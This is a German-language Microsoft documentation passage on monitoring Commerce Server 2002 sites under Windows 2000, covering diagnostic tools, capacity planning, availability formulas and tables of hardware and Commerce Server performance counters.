Unter Windows 2000 steht der IPSec-Monitor (Internet Protocol Security) zur Verfügung, mit dessen Hilfe überprüft werden kann, ob eine sichere Kommunikation erfolgreich ist. Dazu werden die aktiven Sicherheitszuordnungen auf lokalen bzw. Remotecomputern angezeigt. So kann beispielsweise mithilfe des IPSec-Monitors festgestellt werden, ob Fehler bei der Authentifizierung bzw. der Sicherheitszuordnung einem bestimmten Muster folgen, was möglicherweise auf nicht kompatible Einstellungen für Sicherheitsrichtlinien hinweist.

Microsoft Web Application Stress-Tool

Bei Microsoft Web Application Stress (WAS) handelt es sich um ein von Webtestern entwickeltes Simulationstool, das Situationen, in denen mehrere Browser Seiten von einer Webanwendung anfordern, realistisch simuliert. Microsoft hat das Tool benutzerfreundlich gestaltet und das Testen von Webservern an der Oberfläche vereinfacht. Damit eignet sich das Tool für jeden Benutzer, der Leistungsdaten über eine Website sammeln möchte.

Es vereint in sich zahlreiche bewährte Features, die im Laufe der Jahre in WAS entwickelt wurden, sowie einige neue Features. Außerdem deckt die aktuelle Version die am meisten benötigten Funktionen für Belastungstests von dreistufigen, personalisierten ASP-Websites ab, die unter Windows 2000 ausgeführt werden.

Netzwerkmonitor

Bei dem Netzwerkmonitor (Netmon.exe) handelt es sich um ein Verwaltungstool unter Windows 2000, mit dem Sie den Netzwerkverkehr nachverfolgen können. Außerdem können Sie Netzwerkmonitor zum Aufzeichnen von Netzwerkverkehr verwenden und diesen dann anzeigen und analysieren. Sie können Netzwerkmonitor beispielsweise für die Analyse von Daten einsetzen, die zu einem früheren Zeitpunkt mithilfe von benutzerdefinierten Methoden erfasst wurden. Des Weiteren dient das Tool zur Extraktion von Daten aus festgelegten Protokollparsern und zur Analyse von Echtzeit-Datenverkehr im Netzwerk.

Netzwerkmonitor ist ein nützliches Tool zur Erfassung von Paketen zwischen Browsern, Webservern und SQL Server. Das Tool stellt wertvolle Zeitinformationen ebenso wie Informationen zur Paketgröße und Netzwerklast sowie viele andere statistische Daten zur Verfügung, die für die Verwaltung der Systemleistung von Bedeutung sein können. Das Tool wird nicht standardmäßig installiert. Um es zu installieren, klicken Sie in der Systemsteuerung auf Software.

SQL Server Profiler

Bei SQL Server Profiler handelt es sich um ein Tool, mit dem sich Microsoft SQL Server-Ereignisse von einem Server zusammentragen lassen. Die Ereignisse werden in einer Ablaufverfolgungsdatei gespeichert, die Sie zu einem späteren Zeitpunkt analysieren oder zur Wiederholung einer bestimmten Reihe von Schritten bei der Problemdiagnose verwenden können. SQL Server Profiler kann für die folgenden Aufgaben eingesetzt werden:

  • Schrittweises Bearbeiten von problematischen Abfragen, um die Ursache des Problems zu finden.
  • Suchen und Diagnostizieren von langsam ausgeführten Abfragen.
  • Erfassen der Reihe von SQL-Anweisungen, die zu einem Problem führen. Mithilfe der gespeicherten Ablaufverfolgung kann das Problem auf einem Testserver repliziert und diagnostiziert werden.
  • Überwachen der Leistung von SQL Server zur Optimierung der Datenbankleistung.

Visual Studio Analyzer

Bei Visual Studio Analyzer handelt es sich um ein Tool in Microsoft Visual Studio 6.0 Enterprise Edition, das Sie zur Leistungsanalyse, zur Lokalisierung von Seitenfehlern und zum Verständnis der Struktur verteilter Anwendungen verwenden können. Visual Studio Analyzer können Sie für Anwendungen und Systeme verwenden, die mit beliebigen Visual Studio-Tools erstellt wurden.

Verschiedene Microsoft-Technologien, beispielsweise Component Object Model (COM), ActiveX Data Objects (ADO) und COM+, bieten die Möglichkeit, Informationen für Visual Studio Analyzer bereitzustellen. Wenn in den von Ihnen verwendeten Anwendungen eine beliebige der genannten Technologien zum Einsatz kommt, können Sie über diese Anwendung detaillierte Informationen von Visual Studio Analyzer erhalten. Darüber hinaus können Sie eigene Anwendungen so anpassen, dass sie Informationen für Visual Studio Analyzer bereitstellen.

Active Directory-Leistungsüberwachungstools

Verwenden Sie zum Bereitstellen einer Site, die Active Directory verwendet, die folgenden Überwachungstools:

Active Directory-Überwachungstool | Überwachung von
Ereignisprotokoll | Informationen über Hardware-, Software- und Systemprobleme. Mithilfe von Ereignisprotokollen können Sie die Systembetriebszeit durch die Überwachung einer Kombination aus Systemstart, sauberem Herunterfahren und anderen Herunterfahren-Ereignissen aggregieren.
Leistungsprotokolle und Warnungen | Leistungsprotokolle und Warnungen. Leistungsindikatoren sind in Objektkategorien enthalten. Sie können Leistungsprotokolle und Warnungen so konfigurieren, dass Sie gewarnt werden, wenn festgelegte Schwellenwerte überschritten wurden. Dabei wählen Sie aus, welche Kriterien und auf welche Weise diese gemeldet werden sollen.
Replikationsmonitor | Low-Level-Status und Leistung der Replikation zwischen Active Directory-Domänencontrollern. Replikationsmonitor ist im Microsoft Windows 2000 Server Resource Kit verfügbar.

Siehe auch

Commerce Server-Leistungsindikatoren


Empfehlungen zur Überwachung einer Site

Informationen zum Downloaden des Commerce Server-Kapazitätsplanungs-Toolkits finden Sie unter http://go.microsoft.com/fwlink/?LinkId=5165.

Beachten Sie vor dem Starten des Systemmonitors bzw. vor dem Ausführen von "Leistungsprotokolle und Warnungen" auf dem zur Überwachung verwendeten Computer die folgende Hinweise zu Diagnosezwecken:

  • Schließen Sie Bildschirmschonerprogramme.
  • Beenden Sie sämtliche Dienste, die für die Überwachung nicht benötigt werden.
  • Führen Sie den Systemmonitor von einem Remotecomputer aus. Dadurch lässt sich der größte Teil der CPU- und E/A-Kosten auf den Remotecomputer verlagern.
  • Vergrößern Sie die Auslagerungsdatei auf die Größe des physischen Arbeitsspeichers plus 100 MB.
  • Verwenden Sie ein privates Verwaltungsnetzwerk. Während der Remoteprotokollierung kann häufiges Aktualisieren aufgrund der Netzwerkübertragung zu Leistungseinbußen führen. Dieses Problem lässt sich durch die Verwendung eines privaten Verwaltungsnetzwerks lösen, wobei in der Regel eine weitere Netzwerkschnittstellenkarte (NIC) zum Einsatz kommt. Dadurch lässt sich ebenfalls das Ziehen von Stichproben aus Datenauflistungen einschränken. Wenn Sie bislang z. B. alle drei Sekunden Stichproben von Daten ziehen, sollten Sie die Intervalle auf 5 Sekunden erhöhen. Des Weiteren können Sie zwei Netzwerkschnittstellen/Computer einsetzen, sodass jedes Netzwerksegment unterschiedliche Vorgänge ausführt. Dabei kann ein Computer z. B. für das Aktualisieren von News und der andere für das Aktualisieren von Transaktionen im Aktienhandel zuständig sein.
  • Überprüfen Sie protokollierte Daten anhand von Diagrammen. Verwenden Sie dazu die Systemmonitoranzeige, oder exportieren Sie die Daten, und drucken Sie sie. Detaillierte Informationen über bestimmte Leistungsindikatoren finden Sie unter Commerce Server-Leistungsindikatoren.
  • Stellen Sie die Warnungen entsprechend den Leistungsindikatorwerten ein, die gemäß der Bewertung des Basisplans zulässige Grenzen überschreiten.
  • Reduzieren Sie die Anzahl der Leistungsindikatoren auf die tatsächlich benötigte Anzahl. Eine Liste empfohlener Indikatoren finden Sie unter Hardwareleistungsindikatoren und Commerce Server-Leistungsindikatoren.
  • Überwachen Sie zur Kapazitätsplanung die Trends, und fügen Sie ggf. Komponenten hinzu bzw. aktualisieren Sie diese. Verwalten Sie die protokollierten Daten in einer Datenbank, und achten Sie auf Änderungen, um Änderungen in Ressourceanforderungen feststellen zu können. Sobald Sie Änderungen in der Aktivität bzw. den Ressourcenanforderungen beobachten, können Sie auch feststellen, an welcher Stelle zusätzliche Ressourcen zum Einsatz kommen müssen.

Siehe auch

Optimieren von Commerce Server


Einrichten der Überwachungskonfiguration

Bevor Sie mit der Überwachung von Sites beginnen, sorgen Sie dafür, dass eine ausreichende Kapazität vorhanden ist, und konfigurieren Sie die Überwachungstools, um den Überwachungsaufwand gering zu halten. Es empfiehlt sich, Überwachungskonfigurationen einzurichten, die mit dem Systemmonitor in der Microsoft Management Console (MMC) gespeichert und auf andere Computer kopiert werden können. Mithilfe einer Überwachungskonfiguration können Sie Data Center-Probleme hervorheben und sich ein Bild vom Datenfluss im System machen. Des Weiteren können Sie anhand einer derartigen Konfiguration Problemen mit der Sitesoftware auf den Grund gehen und erkennen, wie die Software miteinander interagiert.

Beachten Sie bei der Planung der Konfiguration die folgenden Hinweise:

  • Konfigurieren Sie "Leistungsprotokolle und Warnungen" so, dass Daten für die empfohlenen Indikatoren in regelmäßigen Abständen gemeldet werden, beispielsweise alle 10 bis 15 Minuten.
  • Heben Sie die Protokolle über einen längeren Zeitraum auf.
  • Speichern Sie die Daten in einer Datenbank, und führen Sie eine Abfrage aus, um die Daten zu analysieren und eine Bewertung der Gesamtleistung, eine Trendanalyse und eine Kapazitätsplanung vornehmen zu können.

Dieser Abschnitt beinhaltet folgende Themen:

  • Kapazitätsplanung
  • Begrenzen des Überwachungsaufwands


Kapazitätsplanung

Informationen zum Downloaden des Commerce Server-Kapazitätsplanungs-Toolkits finden Sie unter http://go.microsoft.com/fwlink/?LinkId=5165.

Bei Kapazitätsplanung handelt es sich um den Vorgang des Planens von Anwendungs-, Hardware- und Netzwerkanforderungen zur Unterstützung des erwarteten Datenverkehrs in einer Website und zur Erzielung der für die Site festgesetzten Leistung. Die Kapazität ermitteln Sie, indem Sie die Anzahl der Besucher Ihrer Website bestimmen, die Anforderungen ermitteln, die jeder Benutzer an den Server stellt, und daraus dann die Voraussetzungen berechnen, die der Computer (CPU, RAM, Speicherplatz, Bandbreite und Verwendung und Netzwerkbandbreite) erfüllen muss, damit derzeitige und zukünftige Verwendungsebenen unterstützt werden können.

Zur Sicherstellung der erforderlichen Kapazität müssen Sie den Bedarf an Computerhardware berechnen, damit die Site der Belastung durch abertausende von Benutzern standhalten kann. Anhand dieser Berechnungen können Sie Schwachstellen ermitteln, aufgrund derer es zu Leistungsabfällen kommen kann. Schwachstellen können Sie ausmerzen, indem Sie zusätzliche Hardware installieren bzw. dynamische Seiten oder andere CPU-intensive Tools neu entwerfen.


Begrenzen des Überwachungsaufwands

  • Commerce Server-Leistungsindikatoren und -tools gewährleisten einen minimalen Leistungsaufwand. Große Dateien und von Protokolldateien eingenommener Speicherplatz wirken sich natürlich auf die Arbeit von Leistungstools aus und haben somit ihren Anteil am Gesamtaufwand.
  • Durch eine Vergrößerung des Aktualisierungsintervalls lassen sich Dateigrößen und die damit verbundene Speicherplatzbelegung reduzieren. Außerdem ist es möglich, Daten auf einem anderen als dem überwachten Datenträger zu protokollieren. Eine häufige Protokollierung führt auch zu erhöhtem Bedarf an Datenträger-E/A.

Zunehmender Überwachungsaufwand

  • Falls der Überwachungsaufwand Anlass zu Bedenken gibt, führen Sie zur Überwachung der Site lediglich "Leistungsprotokolle und Warnungen" aus, und verwenden Sie kein Systemmonitordiagramm. Möglicherweise werden Sie feststellen, dass unter jeder der folgenden Bedingungen der Aufwand steigt:
    • Ausführen des Systemmonitors in der Diagrammansicht.
    • Auswählen einer anderen als der Standardoption (aktueller Wert) für eine Berichtsansicht.
    • Häufiges Ziehen von Datenstichproben (in Intervallen von weniger als drei Sekunden).


Überwachen von Produktionsservern

Wenn Sie eine Webfarm mit Computern verwalten, auf denen Commerce Server 2002 Enterprise Edition ausgeführt wird, können Sie die Systemleistung anhand des Systemmonitors unter Windows 2000 oder ähnlichen Tools überwachen und so eventuell auftretende Engpässe vorhersagen. Um die Produktionsserver effizient zu überwachen, führen Sie Kalibrierungstests aus, aktualisieren Sie Verwendungsprofile und überwachen Sie die Leistungsindikatoren für Commerce Server.

Ausführen von Kalibrierungstests

Aktualisieren von Verwendungsprofilen

Überwachen von Commerce Server-Leistungsindikatoren

Ausführen von Kalibrierungstests

Ein RAID-Array von Compaq oder ein ähnliches Datenträgersubsystem zeichnet sich je nach vorhandener Hardware durch sehr unterschiedliche Leistungsmerkmale aus. Es ist zu empfehlen, das Subsystem zu kalibrieren, damit die folgenden Elemente festgelegt werden können:

  • Maximale Anzahl der physischen Lesevorgänge pro Sekunde
  • Maximale Anzahl der physischen Schreibvorgänge pro Sekunde
  • Maximale Anzahl der Bytes pro Sekunde

Moderne Datenträgersubsysteme verfügen über Komplexitätsebenen. Bei Systemen mit einer Festplatte oder einfachen SCSI-Lösungen bietet der Indikator Zeit (%) eine exakte Widerspiegelung der Kapazität des Datenträgers. Bei komplexeren Konfigurationen mit mehreren Datenträgern kann die Warteschlangenlänge des Datenträgers sich an die Anzahl der aktiven Spindeln im Array anpassen, bevor einzelne Elemente tatsächlich auf die Übertragung warten.

Bei den neuesten LVD- oder Fiberkanaldatenträgersystemen sind die Probleme komplexerer Natur. Bei diesen Highendsystemen sollten Sie die Leistung und Kapazität mithilfe der im Lieferumfang enthaltenen Tools überwachen. Für den Systembus des Servers und die SCSI- bzw. Fiberkanalschnittstelle gilt außerdem eine maximale Bandbreitenbeschränkung. Der Gesamtdatenträgerdurchsatz sollte mit diesen Beschränkungen verglichen werden.

Aktualisieren von Verwendungsprofilen

Bei einem Verwendungsprofil handelt es sich um ein statistisches Modell einer durchschnittlichen interaktiven Benutzung und der maximalen Anzahl gleichzeitiger Benutzer, die die Site zu Spitzenzeiten unterstützen muss. Einen sehr wichtigen Bestandteil der Siteüberwachung stellt das Überwachen von Benutzern dar, um feststellen zu können, ob sich das Benutzerverhalten geändert hat. Auch die Beobachtung exponentieller Trends in der Benutzeraktivität ist äußerst wichtig. Noch wichtiger ist es jedoch, diese Daten an Entwickler, Tester und Kapazitätsplaner weiterzuleiten, damit diese zukünftige Hardware- und Softwareanforderungen planen können.

Zum Aktualisieren und Überwachen des Benutzerverhaltens verwenden Sie Leistungsindikatoren der Benutzerprofilverwaltung.

Überwachen von Commerce Server-Leistungsindikatoren

Überprüfen Sie die Liste der Commerce Server-Leistungsindikatoren. Fügen Sie zunächst dem Systemmonitor die Indikatoren aus dieser Liste hinzu. Weitere Indikatoren können Sie zu einem späteren Zeitpunkt hinzufügen.

Siehe auch

Hardwareleistungsindikatoren

Commerce Server-Leistungsindikatoren


Überwachen der Verfügbarkeit von Commerce-Sites

Erstellen Sie eine Verfügbarkeitscheckliste, anhand derer Sie die Verfügbarkeit Ihrer Site überwachen können. Die Verfügbarkeitscheckliste sollte die in diesem Abschnitt aufgeführten Elemente enthalten.

Überwachen der Bandbreitenverwendung: pro Tag, pro Woche und pro Monat

Überwachen der Netzwerkverfügbarkeit

Überwachen der Systemverfügbarkeit

Überwachen der HTTP-Verfügbarkeit

Überwachen der Leistungsmetrik

Überwachen der Bandbreitenverwendung: pro Tag, pro Woche und pro Monat

  • Bandbreite. Gibt an, wie die Bandbreite verwendet wird (maximal und Leerlauf).
  • Verwendung. Gibt an, wie die Verwendung zunimmt (ob eine Zunahme zu verzeichnen ist und wann sowie über welchen Zeitraum hinweg eine Zunahme auftritt).

Anhand dieser Informationen können Sie planen, wie viel Bandbreite Sie künftig benötigen werden. Damit sind Sie in der Lage, die maximale Bandbreite für eine Einkaufssaison anlässlich eines Feiertags zu planen.

Sie können die Bandbreitennutzungsdaten aus Analysen der Protokolle von verwalteten Routern und Internet-Informationsdienste (IIS) 5.0 ermitteln (mithilfe des Commerce Server Data Warehouse).

Überwachen der Netzwerkverfügbarkeit

Verwenden Sie Network Internet Control Message Protocol (ICMP)-Echo (Ping), das in Programmen zur Netzwerküberwachung in der Regel enthalten ist.

Vergleichen Sie die Netzwerkfähigkeit mit der im Service Level Agreement (SLA) mit Ihrem Internetdienstanbieter (ISP)/Data Center Provider vereinbarten Dienstebene. Wenn die Netzwerkverfügbarkeit unterhalb des im SLA vereinbarten Wertes liegt, fordern Sie eine Verbesserung der Leistung an.

Die Netzwerkverfügbarkeit lässt sich mit folgender Formel berechnen:

(Anzahl der erfolgreich zurückgegebenen Pings/Anzahl der insgesamt ausgegebenen Pings) x 100 %

Überwachen der Systemverfügbarkeit

Überwachen Sie die folgenden Systeme:

  • Betriebssystem. Beobachten Sie normale und unnormale Abschaltvorgänge des Betriebssystems.
  • SQL Server. Beobachten Sie den normalen Betrieb und Failover-Ereignisse von Microsoft SQL Server.
  • Internet-Informationsdienste (IIS). Beobachten Sie normale und unnormale Abschaltvorgänge in IIS.

Die Systemverfügbarkeit lässt sich mit folgender Formel berechnen:

(Messzeitraum-Ausfallzeiten)/Messzeitraum) x 100 %

Überwachen der HTTP-Verfügbarkeit

Überwachen Sie die folgenden HTTP-Anforderungen:

  • HTTP-Anforderungen (intern). Überwachen Sie intern ausgegebene HTTP-Anforderungen.
  • HTTP-Anforderungen (über ISP). Überwachen Sie von ISP-Netzwerken ausgegebene HTTP-Anforderungen, um zu verfolgen, ob Benutzer der überwachten ISP-Netzwerke auf Ihre Site zugreifen können.
  • HTTP-Anforderungen (nach geografischem Standort). Überwachen Sie HTTP-Anforderungen, die von verschiedenen geografischen Standorten (New York, San Francisco, London, Paris, München, Tokio, Singapur usw.) ausgegeben werden, um zu verfolgen, ob Benutzer aus den jeweiligen Gebieten auf Ihre Site zugreifen können.

Von Ausfall ist die Rede, wenn die Site eine Seite gar nicht oder mit einer fehlerhaften Antwort zurückgibt. Die HTTP-Verfügbarkeit lässt sich mit folgender Formel berechnen:

(Anzahl der erfolgreich zurückgegebenen HTTP-Anforderungen/Anzahl der insgesamt ausgegebenen HTTP-Anforderungen) x 100 %

Überwachen der Leistungsmetrik

Die Leistungsüberwachung ist nicht unbedingt Bestandteil der Verfügbarkeitsüberwachung. Durch die Überwachung der Leistung kann jedoch mitunter schon im Vorfeld vor potenziellen Problemen gewarnt werden, die sich auf die Verfügbarkeit auswirken können und deshalb unbedingt behoben werden müssen.

Überwachen Sie die folgenden metrischen Leistungsdaten:

  • Anzahl der Besuche (pro Tag/pro Woche/pro Monat). Überwachen Sie die Informationen zum Siteverkehr, um die Siteaktivität bewerten zu können. Diese Daten stehen im Data Warehouse zur Verfügung.
  • Wartezeit für Anforderungen von Vorgangs- und Seitengruppen (pro Tag/pro Woche/pro Monat). Vergleichen Sie diese Daten mit den Ergebnissen Ihrer Transaktionskostenanalyse (TCA), um zu ermitteln, inwieweit die Siteleistung den TCA-Vorhersagen entspricht, und um Engpässe zu vermeiden.
  • CPU-Auslastung (pro Tag/pro Woche/pro Monat). Überwachen Sie die Verwendung auf Microsoft Windows-Servern, SQL Server-Servern, IIS/Commerce Server-Servern, Middleware usw. Gruppieren Sie Server nach ihrer Funktion, um das Verfolgen und Planen der Sitekapazität zu erleichtern.
  • Festplattenspeicher. Gruppieren Sie Server nach ihrer Funktion, und überwachen Sie die Festplattenkapazität (Festplattenkapazität insgesamt und verfügbarer Speicherplatz). Überprüfen Sie die wöchentlichen und monatlichen Verlaufsdaten, sodass Sie Trends frühzeitig bemerken und Erweiterungen planen können.
  • Festplatten-E/A. Gruppieren Sie Server nach ihrer Funktion, und überwachen Sie den E/A-Durchsatz der Festplatte. Vergleichen Sie die wöchentlichen und monatlichen Verlaufsdaten mit den vom Hersteller angegebenen E/A-Werten. Wenn sich der überwachte E/A-Durchsatz dem Festplatten-E/A-Durchsatz nähert, müssen Sie unter Umständen mehr Spindeln hinzufügen (dem Laufwerkstripeset mehr Laufwerke hinzufügen) oder die Festplatten-E/A auf mehrere Laufwerkcontroller umverteilen.
  • Fiber-Channel-Controller/Vermittlungsbandbreite. Überwachen Sie die Bandbreite des SAN-Fiber-Channel-Controllers (System Area Network, SAN). (Ein SAN wird in der Regel zum Verbinden von Knoten innerhalb eines verteilten Computersystems, beispielsweise eines Clusters, verwendet. Diese Systeme sind Teil einer gemeinsamen Verwaltungsdomäne und befinden sich meist räumlich eng beieinander. Ein SAN ist ein physisch sicheres Netz.) Wenn sich die überwachte Bandbreite dem vom Hersteller angegebenen Durchsatz annähert, fügen Sie mehr Controller und Vermittlungsstellen hinzu, um den Verkehr neu zu verteilen und mehr aggregierte Bandbreite zu erhalten.
  • Arbeitsspeicher. Es müssen mehr als 4 MB Arbeitsspeicher verfügbar sein. Wenn sich das System in Spitzenbelastungszeiten diesem Wert nähert, erweitern Sie den Arbeitsspeicher des Servers.


Hardwareleistungsindikatoren

In der folgenden Tabelle werden die in einer Commerce Server 2002-Installation zu überwachenden Hardwareleistungsindikatoren beschrieben. Diese Indikatoren befinden sich im Systemmonitor unter Microsoft Windows 2000. Es empfiehlt sich, jeden Server Ihres Data Centers mithilfe von Leistungsindikatoren zu überwachen und die Ergebnisse im Überblick zu betrachten. Die Indikatoren der System- und Arbeitsspeicher-Objekte können zur Überwachung der Kapazität verwendet werden.

Leistungsobjekt | Name des Leistungsindikators | Beschreibung
Netzwerksegment | Empfangene Bytes/Sekunde Gesendete Bytes/Sekunde | Wenn eine Netzwerkkarte ihre maximale Leistungsfähigkeit erreicht, muss eine weitere Netzwerkkarte hinzugefügt werden. Wenn der Wert die Kapazitätsgrenze des Netzwerks erreicht, ist unter Umständen eine höhere Netzwerkbandbreite erforderlich.
Inetinfo Instance (im Prozess-Objekt) | Virtuelle Größe | Überwachen Sie diesen Indikator auf einen Arbeitsspeicherverlust oder Situationen, in denen die Größe zur Auslastung des maximal verfügbaren RAM führt. Mit diesem Leistungsindikator werden die virtuellen Speicherreservierungen ermittelt.
 | Workingset | Sollte im mittleren Auslastungsbereich der verfügbaren Hardwarekapazität liegen, d. h., weniger als den physischen RAM benötigen.
Arbeitsspeicher | Verfügbare Bytes | Sollte mehr als 4 MB betragen.
 | Seiten/Sekunde | Sollte weniger als eine Seite pro Sekunde betragen. Wenn der Systemspeicher erschöpft ist, handelt es sich hierbei um den deutlichsten Hinweis auf das Problem.
Physischer Datenträger | Schreibvorgänge/s Lesevorgänge/s | Diese beiden Indikatoren sollten zusammen weit unterhalb der maximalen Kapazitätsgrenze des Datenträgers liegen.
 | Zeit (%) | Die Zeitdauer in Prozent, die das ausgewählte Laufwerk benötigt, um Lese- oder Schreibanforderungen zu bedienen.
SQL Server | E/A-Transaktionen/Sekunde | Gibt die tatsächliche Aktivität des SQL Server-Computers an.
 | Kompilierungen/Sekunde Neukompilierungen/Sekunde | Gibt die Effektivität der von SQL Server ausgeführten Abfragen an. In der Reduzierung dieses Werts liegt die wichtigste Möglichkeit, die CPU auf dem SQL Server-Computer zu entlasten.
System | Kontextänderungen/s | Wenn dieser Wert bei mehr als 5.000 Kontextänderungen pro CPU liegt, muss ein weiterer Server zur horizontalen Skalierung des Systems hinzugefügt werden.
 | Gesamtprozessorzeit | Die Spitzenauslastung kann bei 100 % liegen, konstant sollte die Kapazitätsgrenze des Prozessors jedoch nicht überschritten werden. Sämtliche Serverelemente können horizontal skaliert werden.
Web | Verbindungen insgesamt | Die Anzahl der aktiven TCP-Verbindungen (Transmission Control Protocol) zum Server.
 | Get-Anforderungen/Sekunde | Die Anzahl der HTTP-Anforderungen, die der Server erhält. Hierbei handelt es sich um den primären Leistungsindikator für den Datenverkehr in einer Website.
 | Nicht-anonyme Benutzer/Sekunde | Verfolgt die Anzahl der Anforderungen authentifizierter Benutzer in einer Site.
Active Server Pages | Anforderungen/Sekunde | Gibt an, wie viele Anforderungen pro Sekunde von ASP verarbeitet werden. Es werden sowohl erfolgreiche als auch fehlgeschlagene Anforderungen berücksichtigt.
 | Ausgeführte Anforderungen (Hardwareindikator) | Die durchschnittliche Anzahl an Anforderungen, die in der Beispielperiode ausgeführt werden. Internet-Informationsdienste (IIS) 5.0 verfügt über zahlreiche Threads, die Anforderungen gleichzeitig ausführen können.
 | Wartezeit für Anforderungen | Sollte gegen 0 gehen (weniger als 100 Millisekunden), da es sich hierbei um den Zeitraum handelt, den eine Anforderung bis zur Verarbeitung in der Warteschlange verbleibt. Die Bestellungsabschlusstransaktionen der Benutzer sollen schließlich zügig bearbeitet werden.
 | Anforderungen in Warteschlange | Nennenswerte Wartezeiten sollten grundsätzlich nicht anfallen, außer in Spitzenzeiten.

Empfangene Bytes/Sekunde (Hardwareindikator)

Vergleichen Sie den Indikator Empfangene Bytes/Sekunde mit der gesamten Bandbreite der Netzwerkkarte, um zu ermitteln, ob die Netzwerkverbindung einen Engpass verursacht. Um über freie Kapazitäten in Spitzenzeiten zu verfügen, sollte die Auslastung der Kapazität in der Regel 50 % nicht übersteigen. Wenn dieser Prozentsatz sehr nah an der Kapazitätsgrenze der Verbindung liegt und Prozessor und Arbeitsspeicher nur mäßig ausgelastet sind, liegt das Problem möglicherweise in der Verbindung.

Ausgeführte Anforderungen (Hardwareindikator)

Wenn der Leistungsindikator Ausgeführte Anforderungen immer einen Wert über eins (1) anzeigt, kann ein Problem in einer ASP-Seite oder einem ASP-Objekt vorliegen, das zum Blockieren einer Anforderung führt. Ist der Wert nie größer als eins, auch in Spitzenzeiten nicht, ist möglicherweise das ASP-Bugging in der Site noch aktiviert.


CommerceServer-Leistungsindikatoren

Feedback zu dieser Seite senden Commerce Server 2002

Commerce Server-Leistungsindikatoren

In der folgenden Tabelle werden die in Commerce Server 2002 Enterprise Edition verfügbaren Leistungsindikatoren aufgeführt. Es empfiehlt sich, diese Indikatoren im Systemmonitor auszuführen. Dieser befindet sich im Konsolenstamm von Commerce Server-Manager.

Hinweis

  • Um die Leistung für eine einzelne Site in einer Konfiguration mit mehreren Sites zu überwachen, müssen Sie das Token Sitename in allen Verbindungszeichenfolgen der Profildienstobjekte für jede installierte Site verwenden. Wenn Sie beispielsweise über die drei Sites A, B und C verfügen und die Leistung von Site A überwachen möchten, müssen Sie in den Sitenamen für alle Sites das Token "Sitename=" einfügen. Wenn Sie dies nicht tun, werden die Sites B und C alle Siteleistungsindikatoren einschließlich Site A erhöhen.
  • Wenn ein Leistungsindikator im Systemmonitor nicht angezeigt wird, überprüfen Sie in der Registrierung, ob der Wert Disable Performance Counters unter dem Schlüssel für den Indikator vorhanden ist.

    (Beispiel: HKLM\System\CurrentControlSet\Services\CSMarketingPerf\Performance)

    Lautet der Wert dafür 1, wurden die Indikatoren deaktiviert. Wenn Sie den Wert auf null setzen, sind die Indikatoren wieder aktiv.

Leistungsobjekt | Name des Leistungsindikators | Beschreibung
CS2000: Benutzerprofilverwaltung | AuthMgr: Anonyme Tickets/s | Die Anzahl der Tickets bzw. der Eigenschaft/Wert-Paare, die für anonyme Benutzer pro Sekunde in einer bestimmten Site eingestellt werden.
 | Fehlgeschlagene Authentifizierungsüberprüfungen/s | Die Anzahl der fehlgeschlagenen Authentifizierungsüberprüfungen pro Sekunde in einer bestimmten Site.
 | AuthMgr: Erfolgreiche Authentifizierungsüberprüfungen/s | Die Anzahl der erfolgreichen Authentifizierungsüberprüfungen pro Sekunde in einer bestimmten Site.
 | AuthMgr: Authentifizierungs-Manager-Objekte/s | Die Anzahl der Authentifizierungs-Manager-Objekte, die pro Sekunde in einer bestimmten Site erstellt wurden.
 | AuthMgr: Authentifizierungstickets/s | Die Anzahl der Authentifizierungstickets pro Sekunde in einer bestimmten Site.
 | AuthMgr: Custom-Eigenschaften/s | Die Anzahl der in einer bestimmten Site pro Sekunde eingestellten Custom-Eigenschaften.
 | AuthMgr: Get_Custom-Eigenschaften/s | Die Anzahl der pro Sekunde in einer bestimmten Site eingestellten Get_Custom-Eigenschaften. Der Leistungsindikator GetProperty() ruft die Werte für Custom-Eigenschaften vom Benutzercookie ab.
 | AuthMgr: Anonyme Tickets gesamt | Die Gesamtanzahl der Tickets bzw. der Eigenschaft/Wert-Paare, die für anonyme Benutzer in einer bestimmten Site eingestellt werden.
 | AuthMgr: Fehlgeschlagene Authentifizierungsüberprüfungen gesamt | Die Gesamtanzahl der fehlgeschlagenen Authentifizierungsüberprüfungen in einer bestimmten Site.
 | AuthMgr: Erfolgreiche Authentifizierungsüberprüfungen gesamt | Die Gesamtanzahl der erfolgreichen Authentifizierungsüberprüfungen in einer bestimmten Site.
 | AuthMgr: Erstellte AuthMgr-Objekte insgesamt | Die Gesamtanzahl der Authentifizierungs-Manager-Objekte, die in einer bestimmten Site erstellt wurden.
 | AuthMgr: Authentifizierungstickets gesamt | Die Gesamtanzahl der Authentifizierungstickets in einer bestimmten Site.
 | AuthMgr: Custom-Eigenschaften gesamt | Die Gesamtanzahl der Custom-Eigenschaften, die in einer bestimmten Site eingestellt wurden.
 | AuthMgr: Get_Custom-Eigenschaften gesamt | Die Gesamtanzahl der GetCustom-Eigenschaften, die in einer bestimmten Site eingestellt werden.
 | AuthFilter: Tokencacheeinträge (gesamt) | Die Gesamtanzahl der Tokencacheeinträge im Windows-Authentifizierungsmodus.
 | AuthFilter: Tokencachegröße (Bytes) | Die Tokencachegröße in Bytes im Windows-Authentifizierungsmodus.
 | AuthFilter: Tokencacheeinträge (Aktiv) | Die aktuelle Anzahl der aktiven Tokencacheeinträge im Windows-Authentifizierungsmodus.
 | AuthFilter: Windows-Authentifizierungscachezugriffe | Die Gesamtanzahl der Kennwortcachezugriffe im Windows-Authentifizierungsmodus.
 | AuthFilter: Windows-Authentifizierungscachezugriffe/s | Die Anzahl der Kennwortcachezugriffe im Windows-Authentifizierungsmodus pro Sekunde.
 | AuthFilter: Windows-Authentifizierungscachefehler | Die Gesamtanzahl der Kennwortcachefehler im Windows-Authentifizierungsmodus.
 | AuthFilter: Windows-Authentifizierungscachefehler/s | Die Anzahl der Kennwortcachefehler im Windows-Authentifizierungsmodus pro Sekunde.
 | AuthFilter: Erfolgreiche Windows-Authentifizierungsüberprüfungen gesamt | Die Gesamtanzahl der erfolgreichen Windows-Authentifizierungsüberprüfungen mithilfe des ISAPI-Filters (Internet Server Application Program Interface). Gibt an, wie oft der Filter insgesamt die Anmeldeinformationen an Internet-Informationsdienste (IIS) 5.0 überträgt und diese erfolgreich zurückgegeben werden.
 | AuthFilter: Erfolgreiche Windows-Authentifizierungsüberprüfungen/Sekunde | Die Anzahl der erfolgreichen Windows-Authentifizierungsüberprüfungen pro Sekunde.
 | AuthFilter: Fehlgeschlagene Windows-Authentifizierungsüberprüfungen gesamt | Die Gesamtanzahl der fehlgeschlagenen Windows-Authentifizierungsüberprüfungen.
